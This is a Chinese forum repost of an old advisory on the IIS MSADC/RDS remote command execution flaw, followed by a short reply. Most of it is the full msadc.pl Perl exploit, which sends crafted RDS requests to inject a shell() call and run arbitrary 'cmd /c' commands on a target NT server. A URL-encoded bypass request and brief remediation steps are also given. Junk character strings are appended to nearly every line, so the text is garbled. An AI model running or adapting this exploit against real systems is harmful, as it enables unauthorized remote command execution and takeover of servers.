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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) HiS,q0  
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涉及程序: v ,G-k2$Qe  
Microsoft NT server 8vX*SrM  
OxmlzQ"vM  
描述: U l7pxzj  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Y_Z &p#Q!  
P&-D0T_  
详细: @]y{M;  
如果你没有时间读详细内容的话,就删除: 8IT_mjj  
c:\Program Files\Common Files\System\Msadc\msadcs.dll D 7;~x]*  
有关的安全问题就没有了。 n8;G,[GM80  
oC@"^>4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 w/^0tZ~  
SS45<!i y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 &Gy'AUz-  
关于利用ODBC远程漏洞的描述,请参看: FgHB1x4;  
p)[ BB6E  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "$,}|T?Y`  
NBbY## w0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @tjZvRtZ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2o s6c te  
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这里不再论述。 7Y @=x#  
)l[7;ZIw$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )@lo ';\  
$S)e"Po~5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset qhn&;{{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! <5!RAdaj+  
]~g|SqPA@  
=aCIaL&9Y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 00.iMmJ  
YiI:uG!|D  
#!perl v&CO#vK5.  
# b3 %&   
# MSADC/RDS 'usage' (aka exploit) script Ph! KL\  
# G(Idiw#WT  
# by rain.forest.puppy pRk'GR]`  
# _uy5?auQ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ''\cBM!  
# beta test and find errors! 7,&]1+n  
.>gU 9A(Nk  
use Socket; use Getopt::Std; hF=V ?\  
getopts("e:vd:h:XR", \%args); (J,Oh  
I}g|n0o  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 45O6TqepN  
^&G O4u  
if (!defined $args{h} && !defined $args{R}) { 9(FcA5Y  
print qq~ ]a%\Q 2[c  
Usage: msadc.pl -h <host> { -d <delay> -X -v } M;Mdz[Q  
-h <host> = host you want to scan (ip or domain) Bc9|rlV,  
-d <seconds> = delay between calls, default 1 second xUYN\Pc-  
-X = dump Index Server path table, if available 0or6_ y6  
-v = verbose  h?pGw1Q  
-e = external dictionary file for step 5 1WA""yb  
l`5}i|4KTW  
Or a -R will resume a command session o y%g{,V  
-WHwz m  
~; exit;} \<MTY:  
a\.OL}"   
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 8`LLHX1|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !f]3Riw-=,  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} J\,e/{,X  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); hoD[wAC  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} WG[0$j  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }  C>K"ZJ  
.D2ub/er  
if (!defined $args{R}){ $ret = &has_msadc; Z5^,!6  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}  V\7u  
bM3'm$34  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2Nt]Nj`  
. "cmd /c "; MT#[ - M\  
$in=<STDIN>; chomp $in; 7zk m  
$command="cmd /c " . $in ; K?9H.#(  
aid)q&AcQ  
if (defined $args{R}) {&load; exit;} G}hkr  
!E>3N:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; "F.J>QBd  
&try_btcustmr; O 9 Au =  
^MWW,`  
print "\nStep 2: Trying to make our own DSN..."; &B5 Rzz-'  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; CYic_rF$  
qpEC!~ y  
print "\nStep 3: Trying known DSNs..."; MvjwP?J]  
&known_dsn; r'JK$9  
m5Laq'~0_  
print "\nStep 4: Trying known .mdbs..."; XuAc3~HAd  
&known_mdb; Yr(f iI  
[?r\b  
if (defined $args{e}){ ?Kz` O>"6  
print "\nStep 5: Trying dictionary of DSN names..."; ah@GSu;7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } WE8L?55_Au  
Z(`K6`KM  
print "Sorry Charley...maybe next time?\n"; &)'kX  
exit; '`A67bdq)  
K/LaA4  
############################################################################## Fb4S /_ V  
-){^ Q:u  
sub sendraw { # ripped and modded from whisker 1ZH8/1gWI  
sleep($delay); # it's a DoS on the server! At least on mine... x:wq"X  
my ($pstr)=@_; 1XKIK(l  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YwTtI ID%  
die("Socket problems\n"); $HnD|_*  
if(connect(S,pack "SnA4x8",2,80,$target)){ lV*&^Q8.  
select(S); $|=1; +wgUs*(W  
print $pstr; my @in=<S>; Fe>#}-`  
select(STDOUT); close(S); O!cO/]<  
return @in; l[j0(T  
} else { die("Can't connect...\n"); }} AE@Rn(1.  
T=KrT7  
############################################################################## NZ? =pfK\s  
RoXOGVo  
sub make_header { # make the HTTP request r3lr`s`  
my $msadc=<<EOT #S74C*'8  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2OOj8JS  
User-Agent: ACTIVEDATA y]z#??  
Host: $ip VQJ5$4a&  
Content-Length: $clen "%iR-s_>  
Connection: Keep-Alive nLLHggNAV  
Mh B=+S[@  
ADCClientVersion:01.06 O pX  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 f2K3*}P  
 [ ^ \)  
--!ADM!ROX!YOUR!WORLD! k5\ zGsol  
Content-Type: application/x-varg )$.9Wl Q  
Content-Length: $reqlen B'~i Z65  
:z5I bas:  
EOT 7.'j~hJL  
; $msadc=~s/\n/\r\n/g; +[nYu)puP  
return $msadc;} ll^O+>1dO  
e/I{N0SR  
############################################################################## UVRV7^eTe  
7`n8 OR4  
sub make_req { # make the RDS request NNV.x7  
my ($switch, $p1, $p2)=@_; 24k}~"We  
my $req=""; my $t1, $t2, $query, $dsn; p+1B6j  
N9hWx()v  
if ($switch==1){ # this is the btcustmr.mdb query sSb&r  
$query="Select * from Customers where City=" . make_shell(); g}`CdVQ2M<  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . RR {9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2MrR|hLx  
fC:\Gh5  
elsif ($switch==2){ # this is general make table query f*f9:xUY  
$query="create table AZZ (B int, C varchar(10))"; X7!A(q+h  
$dsn="$p1";} *VAi!3Rx;  
"@bk$o=  
elsif ($switch==3){ # this is general exploit table query q:eAL'OkM  
$query="select * from AZZ where C=" . make_shell(); 8#3cmpx4  
$dsn="$p1";} l@9:V hU(  
_E-GHj>k z  
elsif ($switch==4){ # attempt to hork file info from index server SQCuY<mD  
$query="select path from scope()"; E0'6!9y  
$dsn="Provider=MSIDXS;";} C /VXyl@o  
bJ[1'Es `  
elsif ($switch==5){ # bad query #!<s& f|O  
$query="select"; \3UdC{~  
$dsn="$p1";} 5WX2rJ8z  
nsn,8a38  
$t1= make_unicode($query); g)Uh   
$t2= make_unicode($dsn); V#FLxITk  
$req = "\x02\x00\x03\x00";  +PD5pr  
$req.= "\x08\x00" . pack ("S1", length($t1)); XX;%:?n  
$req.= "\x00\x00" . $t1 ; m=y)i]=1  
$req.= "\x08\x00" . pack ("S1", length($t2)); N1+]3kt ~  
$req.= "\x00\x00" . $t2 ; N1t:i? q&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ?["ZEa  
return $req;} Tdp$laPO'  
Q 7?4GxMj  
############################################################################## 'Pn`V{a  
W# /Ol59  
sub make_shell { # this makes the shell() statement F.w#AV  
return "'|shell(\"$command\")|'";} ,*#M%Pv1t  
z(a:fL{/XG  
############################################################################## 8XE0 p7  
$a]dxRkz  
sub make_unicode { # quick little function to convert to unicode /FXfu  
my ($in)=@_; my $out; r F - yD1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } e6/} M3B  
return $out;} 3<SC`6'?  
=z dti'2{4  
############################################################################## G]4+ Qr?  
4 df1)<}U-  
sub rdo_success { # checks for RDO return success (this is kludge) %iML??S  
my (@in) = @_; my $base=content_start(@in); 4WnxJ]5`  
if($in[$base]=~/multipart\/mixed/){ g9Ll>d)tE3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} A).AAr  
return 0;} OuH]Y70(  
rGO 3  
############################################################################## d":{a6D*d  
'f!Jh<i  
sub make_dsn { # this makes a DSN for us an$h~}/6:  
my @drives=("c","d","e","f"); Mqy`j9FbL  
print "\nMaking DSN: "; Ku# _   
foreach $drive (@drives) { "d\8OOU  
print "$drive: "; (/BkwbJyE  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Ke!O^zP92  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @5ybBh]   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); <>GyG-q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; p5hP}Z4r  
return 0 if $2 eq "404"; # not found/doesn't exist I!bZ-16X  
if($2 eq "200") { C <)&qx3  
foreach $line (@results) { &ICO{#v5  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} lD XH<W?  
} return 0;} %;gWl1&5  
Lr&tpB<  
############################################################################## ]y$C6iUY*  
1jb@n xRjO  
sub verify_exists { f# + h_1#  
my ($page)=@_; w[_Uv4M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); _69\#YvCG  
return $results[0];} i vk|-C'\  
M>j)6?n`_  
############################################################################## =Ch#pLmH  
$<#sCrNX  
sub try_btcustmr {  '%4,!  
my @drives=("c","d","e","f"); 1x)%9u}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); aV.<<OS   
2;tp>,G9d  
foreach $dir (@dirs) { |F`'m":$m  
print "$dir -> "; # fun status so you can see progress V-|}.kOH2  
foreach $drive (@drives) { '` "&RuB  
print "$drive: "; # ditto w5Z3e^g  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; gsH_pG-jU  
$reqlenlen=length( "$reqlen" ); CaMG$X&O  
$clen= 206 + $reqlenlen + $reqlen; VP&lWPA}\$  
}#M|3h;q9+  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); TjdYCk]'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} fE iEy%o  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} xg&vZzcl  
:|TBsd|/x  
############################################################################## $+j )  
a{=~#u8  
sub odbc_error { MJoC*8QxM  
my (@in)=@_; my $base; ~]Jfg$'  
my $base = content_start(@in); Z$@Nzza-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this AnQRSB (  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o=}?aC3I  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; MaM7u:kD#  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a6C ~!{'nW  
return $in[$base+4].$in[$base+5].$in[$base+6];} BVDo5^&W  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; <T>f@Dn,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . WqO* vK!t  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ^q$sCt}  
L\5n!(,0  
############################################################################## c"r( l~fc  
2vLn#  
sub verbose { #kA+Yqy \)  
my ($in)=@_; c2QC`h(Wb  
return if !$verbose; C;|Ru*  
print STDOUT "\n$in\n";} 2 Qy&V/E ?  
tee%E=P  
############################################################################## uU0'y4=  
&H6Fkza;4  
sub save { bV ym  
my ($p1, $p2, $p3, $p4)=@_; ;nbvn  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; L`BLkDm  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6IA~bkc}  
close OUT;} OB:G5B`  
e BPMT  
############################################################################## "A7tb39*  
A'T! og|5  
sub load { hO8B]4=&*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; a,.9eHf  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ESAh(A)8  
@p=<IN>; close(IN); y!j1xnzki  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); C|+5F,D  
$target= inet_aton($ip) || die("inet_aton problems"); (Y%}N(Jg  
print "Resuming to $ip ..."; EW)]75o{QF  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; LdcP0G\"VG  
if($p[1]==1) { dJk.J9Z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; hk(^?Fp  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; HDYoM  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); LF8B5<[O  
if (rdo_success(@results)){print "Success!\n";} H)Yv_gT  
else { print "failed\n"; verbose(odbc_error(@results));}} AyWCb  
elsif ($p[1]==3){ 2B|3`trY4x  
if(run_query("$p[3]")){ #*fB~Os:  
print "Success!\n";} else { print "failed\n"; }} iPao54Z  
elsif ($p[1]==4){ =6'A8d  
if(run_query($drvst . "$p[3]")){  c`TgxMu  
print "Success!\n"; } else { print "failed\n"; }} Xv9C D  
exit;} z 'j%.Dd8  
xZhh%~  
############################################################################## y3vOb, 4  
SRMy#j-  
sub create_table { B; ~T|exu  
my ($in)=@_; 1mf_1spB  
$reqlen=length( make_req(2,$in,"") ) - 28; fE >FT9c  
$reqlenlen=length( "$reqlen" ); &A>J>b  
$clen= 206 + $reqlenlen + $reqlen; 7J)-WXk  
my @results=sendraw(make_header() . make_req(2,$in,"")); /}V9*mD2  
return 1 if rdo_success(@results); C]}0h!_V  
my $temp= odbc_error(@results); verbose($temp); ~{J.br`  
return 1 if $temp=~/Table 'AZZ' already exists/; 2HUoT\M  
return 0;} l`d=sOB^  
umc!KOkL  
############################################################################## 4JucNGv  
R]dc(D  
sub known_dsn { U7O2.y+  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go A\:M}D-(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", l#Iof)@#  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", xZ .:H&0G  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); zk?lNs  
sD M!Uv2n  
foreach $dSn (@dsns) { ;kdJxxUox  
print "."; b8O:@j2  
next if (!is_access("DSN=$dSn")); "p<f#s}  
if(create_table("DSN=$dSn")){ wI)W:mUZZ  
print "$dSn successful\n"; ]RV6( |U4_  
if(run_query("DSN=$dSn")){ w\a\I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ],#9L   
print "Something's borked. Use verbose next time\n";}}} print "\n";}  7p{lDQ  
.S[5CO^  
############################################################################## :iq1-Pw  
wEk9(|  
sub is_access { /#blXI  
my ($in)=@_; p< XjiRq  
$reqlen=length( make_req(5,$in,"") ) - 28; ?=6zgb"9-  
$reqlenlen=length( "$reqlen" ); ezFyd'P  
$clen= 206 + $reqlenlen + $reqlen; zdtzR<X   
my @results=sendraw(make_header() . make_req(5,$in,"")); XMpPG~XdN  
my $temp= odbc_error(@results); @D%VV=N~[  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6x_8m^+m  
return 0;} dP )YPy_`  
o)w'w34FCT  
############################################################################## S#jE1EN  
9n1O@~  
sub run_query { Hh,\>= ':  
my ($in)=@_; 8I JFQDGA9  
$reqlen=length( make_req(3,$in,"") ) - 28; jQc$>M<"o  
$reqlenlen=length( "$reqlen" ); S-My6'ar  
$clen= 206 + $reqlenlen + $reqlen; u)%J5TR.Y  
my @results=sendraw(make_header() . make_req(3,$in,"")); H`kfI"u8  
return 1 if rdo_success(@results); LFtnSB8  
my $temp= odbc_error(@results); verbose($temp); zvE]4}VL?  
return 0;} ~Xa >;  
" @.hz@>  
############################################################################## Yf|+p65g  
Xq9%{'9  
sub known_mdb { fy7]I?vm@  
my @drives=("c","d","e","f","g"); od$Cm5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Rzw}W7zg[  
my $dir, $drive, $mdb; ~|riFp=J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; k |M  
PE-Vx RN)  
# this is sparse, because I don't know of many -GQ`n01  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  $33wK  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wTqgH@rGtR  
"\\system32\\certmdb.mdb", ~r+;i,,X  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% $5(co)C  
pLNv\M+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", FK>8(M/  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TtlZum\  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", aR+vY1d"  
"\\cfusion\\cfapps\\security\\realm_.mdb", uPt({H  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8KN0z<  
"\\cfusion\\database\\cfexamples.mdb", j%0D:jOY]  
"\\cfusion\\database\\cfsnippets.mdb", YDO#Q= q%  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", WUZusW5s  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", bDRl}^aO6  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 4; y*y tY*  
"\\cfusion\\database\\smpolicy.mdb", J&2cf#  
"\\cfusion\\database\cypress.mdb", p v%`aQ]o{  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", IOomBy:  
"\\website\\cgi-win\\dbsample.mdb", wm_xH_{F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Dhv ^}m@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" b@"#A8M  
); #these are just Nn>Oq+:  
foreach $drive (@drives) { ??)IPRv?yF  
foreach $dir (@dirs){ \\xoOA.  
foreach $mdb (@sysmdbs) { k,OP*M  
print "."; V& _  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ &i$p5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; LS <\%A}  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m?0caLw<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; vjmNS=l  
} else { print "Something's borked. Use verbose next time\n"; }}}}} TZ3"u@ 06  
"]B:QeMeF!  
foreach $drive (@drives) { w`x4i fZ0q  
foreach $mdb (@mdbs) { 3vepJ) D (  
print "."; SN' j?-  
if(create_table($drv . $drive . $dir . $mdb)){ D.su^m_1  
print "\n" . $drive . $dir . $mdb . " successful\n"; LB$#] Z  
if(run_query($drv . $drive . $dir . $mdb)){ Z7J8%ywQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; K+p7yZJ  
} else { print "Something's borked. Use verbose next time\n"; }}}} f@rR2xZoQ  
} }Ox5,S}ra  
v4OroG=^  
############################################################################## #-W a3P  
i_Ol vuy~  
sub hork_idx { ?$J#jhR?  
print "\nAttempting to dump Index Server tables...\n"; QbrR=[8b  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [3o^06V8j  
$reqlen=length( make_req(4,"","") ) - 28; #%5[8~&  
$reqlenlen=length( "$reqlen" ); 0w<vc}{t  
$clen= 206 + $reqlenlen + $reqlen; &P'd&B1   
my @results=sendraw2(make_header() . make_req(4,"","")); 6 b-'Hui+  
if (rdo_success(@results)){ wkc)2z   
my $max=@results; my $c; my %d; }xJ ).D  
for($c=19; $c<$max; $c++){ )&Af[m S  
$results[$c]=~s/\x00//g; zO)Bf(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 4sMA'fG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [&eG>zF"  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; POB6#x  
$d{"$1$2"}="";} Klrd|;C  
foreach $c (keys %d){ print "$c\n"; } YMXhzqj  
} else {print "Index server doesn't seem to be installed.\n"; }} @^R6}qJ  
l  d  
############################################################################## =e*S h0dK  
hX4 V}kj  
sub dsn_dict {  2:GS(%~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;XagLy  
while(<IN>){ &65I 6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; e>J.r("f  
next if (!is_access("DSN=$dSn")); @KJ~M3d0l  
if(create_table("DSN=$dSn")){ E/OfkL*\  
print "$dSn successful\n"; U'*~Ju  
if(run_query("DSN=$dSn")){ 7G':h0i8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %/.yGAPkx  
print "Something's borked. Use verbose next time\n";}}} _O#R,Y2#  
print "\n"; close(IN);} cfSQqH  
Yc^;?n`x  
############################################################################## 6 9+Pf*  
Xnc?oT+  
sub sendraw2 { # ripped and modded from whisker \&BT#8ELG  
sleep($delay); # it's a DoS on the server! At least on mine... c'md)nD2M  
my ($pstr)=@_; H'a6] ]2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d RIuA)0s  
die("Socket problems\n");  }o[N B  
if(connect(S,pack "SnA4x8",2,80,$target)){ "* 8>` 6E  
print "Connected. Getting data"; #V9do>Cu%  
open(OUT,">raw.out"); my @in; ;suY  
select(S); $|=1; print $pstr; OjWg>v\ v  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _*w kTI+j  
close(OUT); select(STDOUT); close(S); return @in; pgd9_'[5  
} else { die("Can't connect...\n"); }} <H,E1kGw9  
9s4>hw@u  
############################################################################## {iXQUj  
)6b`1o!7  
sub content_start { # this will take in the server headers 0g'MF  S  
my (@in)=@_; my $c; 6qR5A+|;  
for ($c=1;$c<500;$c++) { w5<&b1:  
if($in[$c] =~/^\x0d\x0a/){ aOhi<I`*  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } lK Ry4~O  
else { return $c+1; }}} Sc14F Fs  
return -1;} # it should never get here actually W %<,GV  
r;~7$B)  
############################################################################## NjFlV(XT}  
o)WzZ,\F^J  
sub funky { HuLvMYF  
my (@in)=@_; my $error=odbc_error(@in); LkyT4HC8n  
if($error=~/ADO could not find the specified provider/){ BN1,R] *;  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; +?'a2pUS  
exit;} E>c*A40=.n  
if($error=~/A Handler is required/){ pnpf/T{xpM  
print "\nServer has custom handler filters (they most likely are patched)\n"; R+# g_"1@p  
exit;} ,5& Rra/  
if($error=~/specified Handler has denied Access/){ wd*V,ZN7  
print "\nServer has custom handler filters (they most likely are patched)\n"; JD)wxoeg  
exit;}} @Zzg^1Ilpu  
"Wg5eML 0  
############################################################################## -&h<t/U  
/lLG|aAe  
sub has_msadc { &SMM<^P.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4Q(w D  
my $base=content_start(@results); \*mKctpz]6  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jO.c>C[?  
return 0;} /_Fi4wZ  
/u~L3Cp(  
######################## ~,m5dP#[bV  
Um!LF"Z  
D\Fu4Eg  
解决方案: t vp kc;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Dc9Fb^]QOG  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^Sc48iDc  
9gFfbvd  
拿出来充数 哈哈
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